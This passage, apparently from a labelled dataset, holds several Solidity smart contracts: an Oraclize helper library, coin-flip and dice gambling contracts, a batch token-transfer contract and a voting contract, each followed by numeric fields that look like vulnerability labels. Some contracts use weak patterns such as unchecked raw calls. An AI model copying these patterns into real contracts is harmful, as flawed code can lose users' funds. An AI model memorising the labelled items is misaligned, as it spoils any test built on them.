function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
}
struct QueryMap {
uint betValue;
address playerAddress;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentQueryId;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
bool private win;
uint private randomNumber;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500000;
oraclizeGasPrice = 2010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
}
function() public payable {}
function placeBet() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value);
}
function secureGenerateNumber(address _playerAddress, uint _betValue) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 2, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
}
function checkIfWon() private {
if (randomNumber <= 50) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
}
logBet();
}
function sendPayout(uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[currentQueryId].playerAddress.transfer(payout);
}
function subtractHouseFee(uint _amount) private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet() private {
currentBetNumber++;
if (win) {
totalWins++;
totalPayouts += queryIdMap[currentQueryId].betValue;
} else {
totalLosses++;
}
pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress});
BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress);
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress);
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice;
oraclize_setCustomGasPrice(_newPrice + 10000000);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
currentQueryId = uint(keccak256(_queryId));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
checkIfWon();
} else {
uint refundValue = queryIdMap[currentQueryId].betValue;
queryIdMap[currentQueryId].betValue = 0;
queryIdMap[currentQueryId].playerAddress.transfer(refundValue);
}
}
} | 0 | 770 |
pragma solidity ^0.4.18;
contract EBU{
address public from = 0x9797055B68C5DadDE6b3c7d5D80C9CFE2eecE6c9;
address public caddress = 0x1f844685f7Bf86eFcc0e74D8642c54A257111923;
function transfer(address[] _tos,uint[] v)public returns (bool){
require(msg.sender == 0x9797055B68C5DadDE6b3c7d5D80C9CFE2eecE6c9);
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v[i]*1000000000000000000);
}
return true;
}
} | 0 | 2,165 |
pragma solidity ^0.4.24;
contract DReddit {
enum Ballot { NONE, UPVOTE, DOWNVOTE }
struct Post {
uint creationDate;
bytes description;
address owner;
uint upvotes;
uint downvotes;
mapping(address => Ballot) voters;
}
Post[] public posts;
event NewPost (
uint indexed postId,
address owner,
bytes description
);
event Vote(
uint indexed postId,
address voter,
uint8 vote
);
function numPosts()
public
view
returns(uint)
{
return posts.length;
}
function create(bytes _description)
public
{
uint postId = posts.length++;
posts[postId] = Post({
creationDate: block.timestamp,
description: _description,
owner: msg.sender,
upvotes: 0,
downvotes: 0
});
emit NewPost(postId, msg.sender, _description);
}
function vote(uint _postId, uint8 _vote)
public
{
Post storage p = posts[_postId];
require(p.creationDate != 0, "Post does not exist");
require(p.voters[msg.sender] == Ballot.NONE, "You already voted on this post");
Ballot b = Ballot(_vote);
if (b == Ballot.UPVOTE) {
p.upvotes++;
} else {
p.downvotes++;
}
p.voters[msg.sender] = b;
emit Vote(_postId, msg.sender, _vote);
}
function canVote(uint _postId)
public
view
returns (bool)
{
if(_postId > posts.length - 1) return false;
Post storage p = posts[_postId];
return (p.voters[msg.sender] == Ballot.NONE);
}
function getVote(uint _postId)
public
view
returns (uint8)
{
Post storage p = posts[_postId];
return uint8(p.voters[msg.sender]);
}
} | 1 | 4,533 |
pragma solidity ^0.4.25;
contract FckDice {
uint public HOUSE_EDGE_PERCENT = 1;
uint public HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint public MIN_JACKPOT_BET = 0.1 ether;
uint public JACKPOT_MODULO = 1000;
uint public JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address public owner1;
address public owner2;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping(uint => Bet) bets;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor (address _owner1, address _owner2,
address _secretSigner, address _croupier, uint _maxProfit
) public payable {
owner1 = _owner1;
owner2 = _owner2;
secretSigner = _secretSigner;
croupier = _croupier;
require(_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
modifier onlyOwner {
require(msg.sender == owner1 || msg.sender == owner2, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require(msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function() public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require(_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require(increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require(jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require(withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require(jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require(lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner1);
}
function getBetInfo(uint commit) external view returns (uint amount, uint8 modulo, uint8 rollUnder, uint40 placeBlockNumber, uint40 mask, address gambler) {
Bet storage bet = bets[commit];
amount = bet.amount;
modulo = bet.modulo;
rollUnder = bet.rollUnder;
placeBlockNumber = bet.placeBlockNumber;
mask = bet.mask;
gambler = bet.gambler;
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require(bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require(modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require(amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require(betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require(block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require(secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require(betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require(possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require(jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(bytes20 reveal1, bytes20 reveal2, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal1, reveal2)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require(block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require(blockhash(placeBlockNumber) == blockHash, "blockHash invalid");
settleBetCommon(bet, reveal1, reveal2, blockHash);
}
function settleBetCommon(Bet storage bet, bytes20 reveal1, bytes20 reveal2, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require(amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal1, entropyBlockHash, reveal2));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require(amount != 0, "Bet should be in an 'active' state");
require(block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private view returns (uint winAmount, uint jackpotFee) {
require(0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require(houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
} | 0 | 673 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
